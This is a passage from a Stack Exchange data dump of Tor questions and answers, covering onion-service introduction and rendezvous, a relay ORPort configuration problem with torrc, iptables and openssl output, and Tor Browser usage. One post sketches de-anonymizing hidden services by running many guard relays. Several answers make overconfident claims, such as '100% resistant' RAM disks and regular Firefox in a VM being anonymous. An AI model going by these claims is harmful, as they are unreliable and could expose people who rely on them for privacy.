Paul must install sshuttle on the remove machines&#xA;Connect to server from the remote machines by means of the following commands;&lt;/p&gt;&#xA;&lt;p&gt;sshuttle --no-latency-control --dns -r peter@waocn6y277pycxqe.onion 0.0.0.0/0&lt;/p&gt;&#xA;&lt;p&gt;sshuttle --no-latency-control --dns -r paul@ahc6pdvxjc3ojchv.onion 0.0.0.0/0&lt;/p&gt;&#xA;&lt;p&gt;This was my original reference;&#xA;Chuck Peters &lt;a href=&quot;https://axs.org/tor/ssh_access_over_Tor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://axs.org/tor/ssh_access_over_Tor.html&lt;/a&gt; but unfortunately&#xA;the site no longer seems to exsists.&lt;/p&gt;&#xA;" OwnerUserId="33016" LastEditorUserId="33016" LastEditDate="2021-08-07T19:09:35.193" LastActivityDate="2021-08-07T19:09:35.193" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22567" PostTypeId="2" ParentId="22564" CreationDate="2021-08-06T15:51:21.607" Score="1" Body="&lt;p&gt;Hidden services anonymously choose random Tor relays as introduction points. The introduction points do not know the service location of the hidden service and can't control which hidden service they act as introduction points.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/78mjU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/78mjU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://community.torproject.org/onion-services/overview/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/overview/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Due to this, law enforcement can't just shutdown these connections because there will always be other Tor relays to act as introductions points. They would have to shutdown the entire Tor network if they wanted to which they can't because they themselves use the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-08-07T19:51:03.453" LastActivityDate="2021-08-07T19:51:03.453" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22568" PostTypeId="2" ParentId="22564" CreationDate="2021-08-06T16:29:50.333" Score="0" Body="&lt;p&gt;By default they can &lt;strong&gt;not&lt;/strong&gt; know anything about the party connecting to them, so no law enforcement can be applied, &lt;em&gt;but&lt;/em&gt; if the introduction point is running some additional software - it can determine what is behind the connection &lt;em&gt;sometimes&lt;/em&gt;. So you don't have to worry&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-06T16:29:50.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22569" PostTypeId="2" ParentId="7031" CreationDate="2021-08-06T16:31:03.680" Score="0" Body="&lt;p&gt;You should elaborate Tor Control protocol and for a quick note a &lt;code&gt;SIGNAL NEWNYM&lt;/code&gt; command. Try to use Stem library and you can even custom-pick all the route.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-06T16:31:03.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22570" PostTypeId="2" ParentId="21269" CreationDate="2021-08-06T16:33:58.307" Score="0" Body="&lt;p&gt;This is a general question, not Tor-related. JavaScript is &lt;strong&gt;not&lt;/strong&gt; an evil if you're properly encapsulating the container that is running your browser. And it's not a Tor Browser developers fault to block them: a browser &lt;em&gt;is&lt;/em&gt; just an application but you need a virtualization to isolate it properly so they can't do it from the application side. Even more: use Firefox inside a VM and isolate it, so you will have a fully functional websites and anonymity at the same time.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-06T16:33:58.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22572" PostTypeId="1" CreationDate="2021-08-07T21:56:16.860" Score="1" ViewCount="383" Body="&lt;p&gt;I have self-hosted Discourse based forum, available over .onion domain only (Hidden Service Version 3). Everything works as expected, however when I connect to the forum with an up to date version of Tor Browser I can see an exclamation mark on the onion icon in the address bar, similar to what you can sometimes see when you have mixed content error with clearnet https connection.&lt;/p&gt;&#xA;&lt;p&gt;When I click on the exclamation mark I can see actual warning saying:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Connection not secure. Parts of this page are not secure (such as images)&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;It looks like similar to https error, however my forum does not use https in urls, there is no certificates added etc. I have no clue, what does it mean in the world of onion domains. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="33025" LastActivityDate="2021-08-07T21:56:16.860" Title="Connection not secure warning when connecting to .onion domain with Tor Browser" Tags="|tor-browser-bundle|onion-services|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22573" PostTypeId="2" ParentId="22565" CreationDate="2021-08-08T20:45:48.913" Score="0" Body="&lt;p&gt;well, basically what you're asking is how to make a per-user private keys for your server, I suggest you to try these two guides :&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://community.torproject.org/onion-services/advanced/client-auth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/advanced/client-auth/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://community.torproject.org/onion-services/setup/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.torproject.org/onion-services/setup/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;and speaking about the OpenVPN server itself - just set up a hidden service you need and use a pre-shared TLSKey, that's it! Without a TLSKey it's no way to jack in your server, but if you're using a packet-based setup and not compiling OpenSSL and OpenVPN by hand - you better o set up a per-client keys to avoid the unpatched packages risk: Tor will not allow the unauthorized connections so the potential exploit won't reach your setup. But as for me I'm strongly recommending you to build by hand from source OpenSSL, OpenSSH, OpenVPN and Tor - it will bring you the most security from the package matter&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-08T20:45:48.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22574" PostTypeId="2" ParentId="22562" CreationDate="2021-08-08T20:49:43.670" Score="0" Body="&lt;p&gt;You can use anything you wish - Tor is just a TCP tunnel like STunnel. As for me I do recommend you to use a fully-featured CMS like Drupal + Drupal Commerce or Drupal+Ubercart or Wordpress+WooCommerce: it's an easy task to prevent data leaks from these CMS'es and you will have all the functionality easily extendable. And your shops are like to have a same (co-)owner, because homebrew CMS'es are do happening nowdays but they're too short in spread area.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-08T20:49:43.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22575" PostTypeId="2" ParentId="16724" CreationDate="2021-08-08T20:53:45.163" Score="0" Body="&lt;p&gt;Yes, the Whonix/Tails are &lt;em&gt;trying&lt;/em&gt; to make every connection through Tor, but the really good way - as for me - is to use QubesOS and it's disposable VM's allocated in memory: this will make you not just a privacy-coveted user, but also it will make you 100% resistant to &lt;em&gt;any&lt;/em&gt; data recovery tools: a memory disk is the real defense you need&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-08T20:53:45.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22576" PostTypeId="2" ParentId="14211" CreationDate="2021-08-08T21:12:49.657" Score="1" Body="&lt;p&gt;Well, looks like you're not getting the Tor network principles right, let me explain:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It's not a mistake to use torrents inside Tor network &lt;strong&gt;if&lt;/strong&gt; you're seeding from a hidden service and your retracker is a TCP-based one. It is a benefit, actually, and no slowdown will occur if you have &lt;strong&gt;all&lt;/strong&gt; the nodes inside the Tor network &lt;em&gt;properly&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;DHT relies on simplicity of communication, that's why it can provide you the significant speedup. If you'll wrap it inside a TCP protocol and you will use Tor's three-layer-onion packet encryption - you will have it, physically, but you will loose &lt;strong&gt;almost all&lt;/strong&gt; the benefits of DHT, the only one that will remain will be a self-reorganizing of the node swarm. UDP is chosen for DHT for a really good and wise reason - it's &lt;em&gt;simple&lt;/em&gt;... Instead of TCP it does not perform a lot of checks and state verifications, so you can easily make a 1000 pps on an old netbook, for example. Even without Tor - if you will just wrap it into TCP - you will have hard times to do even this, and adding a 3-layer onion will kill the speed finally.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you want to make it on DHT - take a look at Yggdrasil network, it will give you IPv6 interface and UDP support with a way more moderate overhead.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-08T21:12:49.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22577" PostTypeId="2" ParentId="15064" CreationDate="2021-08-08T21:14:46.667" Score="0" Body="&lt;p&gt;Tor browser is a Firefox specially tweaked in a source code to be what it is. If you need the features you're asking about - use a virtual machine routed through Tor &lt;strong&gt;totally&lt;/strong&gt; and deploy a regular Firefox there - it will be the solution you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-08T21:14:46.667" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22578" PostTypeId="2" ParentId="16921" CreationDate="2021-08-08T21:18:47.047" Score="0" Body="&lt;p&gt;Exit node is just one part of the problem here, the other part is that Tor.StackExchange does not have a Tor hidden service entrance for it, lol :) Even a Facebook has it - you should write an email to the support team to ask them to do so. A lot of abuse comes from Tor and Anonymous Proxies, sadly - so this red-flagging became an ubiquitous behavior nowdays, sadly...&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-08T21:18:47.047" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22579" PostTypeId="2" ParentId="22503" CreationDate="2021-08-11T14:08:36.417" Score="3" Body="&lt;p&gt;This got fixed as of 10.5.4 (based on Mozilla Firefox 78.13.0esr):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IETIe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IETIe.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://blog.torproject.org/new-release-tor-browser-1054&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/new-release-tor-browser-1054&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32864" LastEditorUserId="31632" LastEditDate="2021-08-12T01:25:43.517" LastActivityDate="2021-08-12T01:25:43.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22581" PostTypeId="2" ParentId="22540" CreationDate="2021-08-12T19:59:27.010" Score="0" Body="&lt;p&gt;An answer made short: it depends! A long version here ;) &lt;em&gt;Basically&lt;/em&gt; Tor is protecting from such kind of surveillance by it's multi-layer encryption and directory services, but - there can be a mitigation to this defense. The attacker tactics will be to obtain three vital steps to be done:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It must be a neflow-like logs from all the hops involved in routing the circle participants' traffic&lt;/li&gt;&#xA;&lt;li&gt;It must be an &lt;strong&gt;active&lt;/strong&gt; ability to add delays to the specific TCP connections' packets&lt;/li&gt;&#xA;&lt;li&gt;It must be an ability to try to break SSL on demand&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Well, a Great FireWall of China, Russian SORM and EU's traffic inspection hardware is &lt;strong&gt;actually&lt;/strong&gt; doing/trying-to-do it. If the delays can be added - they will be re-propagated in the multi-layer encryption, so you will see it statistically correlating netflow-like logs. Then you can unwind the chain &lt;strong&gt;but not the data that are actually encrypted&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-08-12T19:59:27.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22582" PostTypeId="2" ParentId="22540" CreationDate="2021-08-13T09:50:57.370" Score="0" Body="&lt;p&gt;There is a way to determine Guard Node of Hidden Services.&#xA;It requires few controlled guard nodes (considerable number) and the list of Hidden services which you would like to test.&lt;/p&gt;&#xA;&lt;p&gt;We can extract titles,favicons and compare at both ends!&lt;/p&gt;&#xA;&lt;p&gt;Experiments resulted well in finding Guard IPs of those services!&lt;/p&gt;&#xA;" OwnerUserId="33045" LastActivityDate="2021-08-13T09:50:57.370" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22583" PostTypeId="1" CreationDate="2021-08-13T10:51:08.303" Score="0" ViewCount="89" Body="&lt;p&gt;There are multiple papers detailing the de-anonymization approaches. But what i have observed is that (1) 100% de-anonymization may not be possible  (2) Even if its possible, one need to control lot many relays (guards, middle, exit, etc.) (3) Theoretically its may be proved but practically not possible.&lt;/p&gt;&#xA;&lt;p&gt;At the same time LEAs are busting the sites now and then. How?&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to crack the sites by network flow monitoring?&lt;/p&gt;&#xA;" OwnerUserId="33045" LastActivityDate="2021-08-13T10:51:08.303" Title="Can hidden services be de-anonymized with little or considerable control of relay nodes and /or by network monitoring?" Tags="|deanonymization|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22584" PostTypeId="1" AcceptedAnswerId="22606" CreationDate="2021-08-13T15:21:46.443" Score="0" ViewCount="268" Body="&lt;p&gt;I'm having issues when implementing the NoAdvertise &amp;amp; NoListen options of the ORPort directive and am hoping someone here might be able to point me in the right direction.&lt;/p&gt;&#xA;&lt;p&gt;I can get Tor to successfully work as a relay without using the NoAdvertise &amp;amp; NoListen options of the ORPort directive, but for certain reasons I need to configure Tor on a Private Address.&lt;/p&gt;&#xA;&lt;h3&gt;ORPort WITHOUT NoAdvertise &amp;amp; NoListen (SUCCEEDS)&lt;/h3&gt;&#xA;&lt;p&gt;Note: Successful Self-testing logs WITHOUT NoAdvertise &amp;amp; NoListen&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Aug 13 00:26:42.000 [notice] Self-testing indicates your ORPort 198.91.60.78:443 is reachable from the outside. Excellent. Publishing server descriptor.&#xA;Aug 13 00:27:49.000 [notice] Performing bandwidth self-test...done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: Successful Self-testing torrc WITHOUT NoAdvertise &amp;amp; NoListen&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# cat /tmp/torrc &#xA;Nickname ASUSWRTMerlinRelay&#xA;ORPort 198.91.60.78:443&#xA;SocksPort 9050&#xA;SocksPort 192.168.0.1:9050&#xA;ControlPort 9051&#xA;ExitRelay 0&#xA;DirCache 0&#xA;MaxMemInQueues 192 MB&#xA;GeoIPFile /opt/share/tor/geoip&#xA;Log notice file /tmp/torlog&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;TransPort 192.168.0.1:9040&#xA;DNSPort 192.168.0.1:9053&#xA;RunAsDaemon 1&#xA;DataDirectory /tmp/tor/torrc.d/.tordb&#xA;AvoidDiskWrites 1&#xA;User tor&#xA;ContactInfo tor-operator@your-emailaddress-domain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: Nyx shows Tor build the initial 5 measurement circuits and then successfully continues to build new circuits&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# nyx&#xA;nyx - 192.168.0.1 (Linux 2.6.36.4b...)  Tor 0.4.5.7 (recommended)&#xA;ASUSWRTMerlinRelay - 198.91.60.78:443, Control Port (open): 9051&#xA;cpu: 30.4% tor, 62.1% nyx  mem: 53 MB (21.4%)  pid: 14372  uptime: 05:18&#xA;fingerprint: 02DD61E41B3739C629C5CF8CEBA6000290BC3E7B&#xA;flags: Fast, Running, Valid&#xA;page 2 / 5 - m: menu, p: pause, h: page help, q: quit&#xA;Connections (807 outbound, 9 circuit, 1 control):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: Openssl s_client is successfully CONNECTED to the Public Address&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# openssl s_client -connect 198.91.60.78:443&#xA;CONNECTED(00000003)&#xA;depth=0 CN = www.uy24fd6wkrzss.net&#xA;verify error:num=20:unable to get local issuer certificate&#xA;verify return:1&#xA;depth=0 CN = www.uy24fd6wkrzss.net&#xA;verify error:num=21:unable to verify the first certificate&#xA;verify return:1&#xA;---&#xA;Certificate chain&#xA;0 s:/CN=www.uy24fd6wkrzss.net&#xA;  i:/CN=www.bu5cm42gttwqzick.com&#xA;---&#xA;Server certificate&#xA;-----BEGIN CERTIFICATE-----&#xA;MIICQzCCAaygAwIBAgIJAOPPF6uxLfr8MA0GCSqGSIb3DQEBCwUAMCMxITAfBgNV&#xA;BAMMGHd3dy5idTVjbTQyZ3R0d3F6aWNrLmNvbTAeFw0yMTAzMDEwMDAwMDBaFw0y&#xA;MTA5MjUwMDAwMDBaMCAxHjAcBgNVBAMMFXd3dy51eTI0ZmQ2d2tyenNzLm5ldDCC&#xA;ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM/1zzI/PdYXIm6p1ZshOzIf&#xA;AnUfauCPovIutPWBBNi9Q6um6EWYzb7DIKhmiTwijl691ktfylwVIMT8JnGO+1t1&#xA;+SooiSp4V1oSkMvoA0Whvhh3jonblvq7cD0FGz9xLVxJEs4I5LPxxDFDcfs5AHV9&#xA;wQ1rH+CnGOlBGD2X3jjOVJb1Vp9PZPj5sG4mCyBIfJdbuC1MYkXoOfmi8kY0MkV8&#xA;mB/XAODk4GmDTPG76gxAv3Da+10vcABqMNpSwraFZwcBcGOhUnmpKxRmm2dZdz7r&#xA;tTLcZaaeAYJlNH4fxoG6PdmcPidLnlT4ILX44cXAf+OL4WJgWrRUUexTpI75pW0C&#xA;AwEAATANBgkqhkiG9w0BAQsFAAOBgQCB9fjVciHTD0YlckPoSTzZJXHkDaBpmBVa&#xA;9/GpVLQMA9bK03AkDllycxEbSgB0bd8RjZKd1+3T7ck2FsOOzgIZP0v5U8A0uxA7&#xA;58w2yJWmomn9DaKXqwD9HHux905znq3elKzd1M5ZSbQhZdqNmsw8wZUo2ZaPCDHW&#xA;wBCd2m6Ueg==&#xA;-----END CERTIFICATE-----&#xA;subject=/CN=www.uy24fd6wkrzss.net&#xA;issuer=/CN=www.bu5cm42gttwqzick.com&#xA;---&#xA;No client certificate CA names sent&#xA;Peer signing digest: SHA256&#xA;Server Temp Key: ECDH, P-256, 256 bits&#xA;---&#xA;SSL handshake has read 1058 bytes and written 428 bytes&#xA;---&#xA;New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384&#xA;Server public key is 2048 bit&#xA;Secure Renegotiation IS supported&#xA;Compression: NONE&#xA;Expansion: NONE&#xA;No ALPN negotiated&#xA;SSL-Session:&#xA;    Protocol  : TLSv1.2&#xA;    Cipher    : ECDHE-RSA-AES256-GCM-SHA384&#xA;    Session-ID: &#xA;    Session-ID-ctx: &#xA;    Master-Key: BC7B6CA79A1466768EAE37C7D591FB57F2D351E75B4C43AB16C8B8CBCBEB8E4BA4EDE2FEED8D4036D045F42F3F029585&#xA;    Key-Arg  : None&#xA;    PSK identity: None&#xA;    PSK identity hint: None&#xA;    SRP username: None&#xA;    Start Time: 1628842910&#xA;    Timeout  : 300 (sec)&#xA;    Verify return code: 21 (unable to verify the first certificate)&#xA;---&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, Tor fails to work as a relay using the NoAdvertise &amp;amp; NoListen options of the ORPort directive; even though, Openssl s_client is successfully CONNECTED to the Public Address.&lt;/p&gt;&#xA;&lt;h3&gt;ORPort WITH NoAdvertise &amp;amp; NoListen (FAILS)&lt;/h3&gt;&#xA;&lt;p&gt;Note: Failed Self-testing logs WITH NoAdvertise &amp;amp; NoListen&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Aug 13 01:01:46.000 [notice] Now checking whether IPv4 ORPort 198.91.60.78:443 is reachable... (this may take up to 20 minutes -- look for log messages indicating success)&#xA;Aug 13 01:21:45.000 [warn] Your server has not managed to confirm reachability for its ORPort(s) at 198.91.60.78:443. Relays do not publish descriptors until their ORPort and DirPort are reachable. Please check your firewalls, ports, address, /etc/hosts file, etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: Failed Self-testing torrc WITH NoAdvertise &amp;amp; NoListen&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# cat /tmp/torrc &#xA;Nickname ASUSWRTMerlinRelay&#xA;ORPort 198.91.60.78:443 NoListen&#xA;ORPort 192.168.0.1:9001 NoAdvertise&#xA;SocksPort 9050&#xA;SocksPort 192.168.0.1:9050&#xA;ControlPort 9051&#xA;ExitRelay 0&#xA;DirCache 0&#xA;MaxMemInQueues 192 MB&#xA;GeoIPFile /opt/share/tor/geoip&#xA;Log notice file /tmp/torlog&#xA;VirtualAddrNetwork 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;TransPort 192.168.0.1:9040&#xA;DNSPort 192.168.0.1:9053&#xA;RunAsDaemon 1&#xA;DataDirectory /tmp/tor/torrc.d/.tordb&#xA;AvoidDiskWrites 1&#xA;User tor&#xA;ContactInfo tor-operator@your-emailaddress-domain&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: Confirmed that the necessary PortForward between the Public &amp;amp; Private Addresses is in place&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# iptables -A VSERVER -p tcp -m tcp --dport 443 -j DNAT --to-destination 192.168.0.1:9001&#xA;# iptables -I INPUT -p tcp --dport 9001 -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: Nyx shows Tor build the initial 5 measurement circuits, but after some time fails and only shows the outbound &amp;amp; control connections.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# nyx&#xA;nyx - 192.168.0.1 (Linux 2.6.36.4b...)  Tor 0.4.5.7 (recommended)&#xA;ASUSWRTMerlinRelay - 192.168.0.1:9001, Control Port (open): 9051&#xA;cpu: 10.6% tor, 3.2% nyx  mem: 55 MB (22.2%)  pid: 5374  uptime: 56:32&#xA;fingerprint: 02DD61E41B3739C629C5CF8CEBA6000290BC3E7B&#xA;flags: Fast, Running, Valid&#xA;page 2 / 5 - m: menu, p: pause, h: page help, q: quit&#xA;Connections (2289 outbound, 1 control):&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note: However, Openssl s_client is successfully CONNECTED to the Public Address&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# openssl s_client -connect 198.91.60.78:443&#xA;CONNECTED(00000003)&#xA;depth=0 CN = www.uy24fd6wkrzss.net&#xA;verify error:num=20:unable to get local issuer certificate&#xA;verify return:1&#xA;depth=0 CN = www.uy24fd6wkrzss.net&#xA;verify error:num=21:unable to verify the first certificate&#xA;verify return:1&#xA;---&#xA;Certificate chain&#xA;0 s:/CN=www.uy24fd6wkrzss.net&#xA;  i:/CN=www.bu5cm42gttwqzick.com&#xA;---&#xA;Server certificate&#xA;-----BEGIN CERTIFICATE-----&#xA;MIICQzCCAaygAwIBAgIJAOPPF6uxLfr8MA0GCSqGSIb3DQEBCwUAMCMxITAfBgNV&#xA;BAMMGHd3dy5idTVjbTQyZ3R0d3F6aWNrLmNvbTAeFw0yMTAzMDEwMDAwMDBaFw0y&#xA;MTA5MjUwMDAwMDBaMCAxHjAcBgNVBAMMFXd3dy51eTI0ZmQ2d2tyenNzLm5ldDCC&#xA;ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAM/1zzI/PdYXIm6p1ZshOzIf&#xA;AnUfauCPovIutPWBBNi9Q6um6EWYzb7DIKhmiTwijl691ktfylwVIMT8JnGO+1t1&#xA;+SooiSp4V1oSkMvoA0Whvhh3jonblvq7cD0FGz9xLVxJEs4I5LPxxDFDcfs5AHV9&#xA;wQ1rH+CnGOlBGD2X3jjOVJb1Vp9PZPj5sG4mCyBIfJdbuC1MYkXoOfmi8kY0MkV8&#xA;mB/XAODk4GmDTPG76gxAv3Da+10vcABqMNpSwraFZwcBcGOhUnmpKxRmm2dZdz7r&#xA;tTLcZaaeAYJlNH4fxoG6PdmcPidLnlT4ILX44cXAf+OL4WJgWrRUUexTpI75pW0C&#xA;AwEAATANBgkqhkiG9w0BAQsFAAOBgQCB9fjVciHTD0YlckPoSTzZJXHkDaBpmBVa&#xA;9/GpVLQMA9bK03AkDllycxEbSgB0bd8RjZKd1+3T7ck2FsOOzgIZP0v5U8A0uxA7&#xA;58w2yJWmomn9DaKXqwD9HHux905znq3elKzd1M5ZSbQhZdqNmsw8wZUo2ZaPCDHW&#xA;wBCd2m6Ueg==&#xA;-----END CERTIFICATE-----&#xA;subject=/CN=www.uy24fd6wkrzss.net&#xA;issuer=/CN=www.bu5cm42gttwqzick.com&#xA;---&#xA;No client certificate CA names sent&#xA;Peer signing digest: SHA256&#xA;Server Temp Key: ECDH, P-256, 256 bits&#xA;---&#xA;SSL handshake has read 1058 bytes and written 428 bytes&#xA;---&#xA;New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384&#xA;Server public key is 2048 bit&#xA;Secure Renegotiation IS supported&#xA;Compression: NONE&#xA;Expansion: NONE&#xA;No ALPN negotiated&#xA;SSL-Session:&#xA;    Protocol  : TLSv1.2&#xA;    Cipher    : ECDHE-RSA-AES256-GCM-SHA384&#xA;    Session-ID: &#xA;    Session-ID-ctx: &#xA;    Master-Key: BC7B6CA79A1466768EAE37C7D591FB57F2D351E75B4C43AB16C8B8CBCBEB8E4BA4EDE2FEED8D4036D045F42F3F029585&#xA;    Key-Arg  : None&#xA;    PSK identity: None&#xA;    PSK identity hint: None&#xA;    SRP username: None&#xA;    Start Time: 1628842910&#xA;    Timeout  : 300 (sec)&#xA;    Verify return code: 21 (unable to verify the first certificate)&#xA;---&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What am I missing?  Am I implementing the NoAdvertise &amp;amp; NoListen options of the ORPort directive incorrectly?&lt;/p&gt;&#xA;&lt;p&gt;Thank you for your assistance.&lt;/p&gt;&#xA;&lt;p&gt;Respectfully,&lt;/p&gt;&#xA;&lt;p&gt;Gary&lt;/p&gt;&#xA;" OwnerUserId="32592" LastEditorUserId="32592" LastEditDate="2021-08-22T13:21:14.197" LastActivityDate="2021-08-22T13:29:08.847" Title="ORPort NoAdvertise &amp; NoListen Not Working" Tags="|tor-install|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22586" PostTypeId="2" ParentId="17512" CreationDate="2021-08-16T05:45:14.427" Score="0" Body="&lt;p&gt;Your relay can have flags such as fast, HSDir, Guard, etc by default if it has good bandwidth and sufficient active duration.&lt;/p&gt;&#xA;&lt;p&gt;It can not become exit by default.&lt;/p&gt;&#xA;" OwnerUserId="33045" LastActivityDate="2021-08-16T05:45:14.427" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22587" PostTypeId="2" ParentId="20086" CreationDate="2021-08-16T11:57:03.327" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://rp.os3.nl/2017-2018/p98/report.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://rp.os3.nl/2017-2018/p98/report.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can extract descriptors!&lt;/p&gt;&#xA;&lt;p&gt;It works well...100%&lt;/p&gt;&#xA;" OwnerUserId="33045" LastActivityDate="2021-08-16T11:57:03.327" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22588" PostTypeId="2" ParentId="22435" CreationDate="2021-08-16T12:07:30.927" Score="0" Body="&lt;p&gt;It works like this:&#xA;1.&#xA;Lets say Bob want to publish hidden service.&lt;/p&gt;&#xA;&lt;p&gt;Bob first need to deploy the service on the server. Then we need to allow Bob to select the contact point for the service, these contact points are known as introduction point.&lt;/p&gt;&#xA;&lt;p&gt;Bob’s Tor client generate the public key and sends the key to introduction point. Bob made tor circuit with introduction point instead of direct connection so Bob’s identity can be kept private. Introduction points only receive public key for the service not the IP address of the service.&lt;/p&gt;&#xA;&lt;p&gt;Hidden service assembles a hidden service descriptor which contains public key , introduction point and sign it with service’s private key. This descriptor is uploaded in distributed hash table .&lt;/p&gt;&#xA;&lt;p&gt;This descriptor can be found by client by requesting xyz.onion where xyz is 16-character name derived from public key of the service.&lt;/p&gt;&#xA;&lt;p&gt;2.&#xA;Lets say Alice has learned about Bob service and she want to access the service. She already knows descriptor of Bob’s service&lt;/p&gt;&#xA;&lt;p&gt;Alice want to communicate anonymously. Her Tor client creates tor circuit by randomly picking relay and asks it to act as rendezvous point&lt;/p&gt;&#xA;&lt;p&gt;Alice send rendezvous cookie to one of the Introduction point. Cookie contains information about rendezvous point and introduction message encrypted using service public key. This communication take place via Tor circuit&lt;/p&gt;&#xA;&lt;p&gt;The hidden service get the request and obtain address of rendezvous point and send the one time secret to it in a rendezvous message.&lt;/p&gt;&#xA;&lt;p&gt;At this point it is very important that hidden service sticks to same set of entry guard when creating new circuit. Entry guard is set of relays which is always picked as first node while creating circuit. These entry guard are chosen randomly&lt;/p&gt;&#xA;&lt;p&gt;3.&#xA;In the last step, the rendezvous point notifies the client about successful connection establishment. After that, both client and hidden service can use their circuits to the rendezvous point for communicating with each other. The rendezvous point simply relays (end-to-end encrypted) messages from client to service and vice versa.&lt;/p&gt;&#xA;&lt;p&gt;Once rendezvous point get the response from service it informs client that connection is established and now client and service can talk with each other through rendezvous point using their 